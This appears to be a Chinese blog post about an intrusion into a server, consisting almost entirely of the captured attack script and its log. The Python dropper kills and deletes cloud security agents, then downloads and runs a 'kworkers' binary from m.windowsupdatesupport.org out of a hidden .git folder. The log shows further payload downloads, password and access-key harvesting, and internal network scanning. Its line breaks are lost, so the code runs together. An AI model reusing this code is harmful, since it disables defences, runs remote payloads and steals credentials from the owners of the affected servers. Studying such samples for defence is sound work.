记一次服务器被入侵，没想到我轻松搞定了它~

import sysimport osfrom os.path import expanduserver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}
rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
'''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:    os.mkdir(homedir+"/.git")except Exception as e:    print(e)if os.path.isdir(homedir+"/.git"):    gitdir=homedir+"/.git"try:    os.mkdir("./.git")except Exception as e:    print(e)if os.path.isdir("./.git"):    gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:        html = f.read()        open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:        f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())        f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):    os.system(gitdir+"/kworkers")else:    os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

/xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309µsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973µsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
process completedversion  same hideproc.shskip restart hideproc.shversion  same sshkey.shskip restart sshkey.shversion  same autoupdateskip restart autoupdateversion  same kworkersKey path not found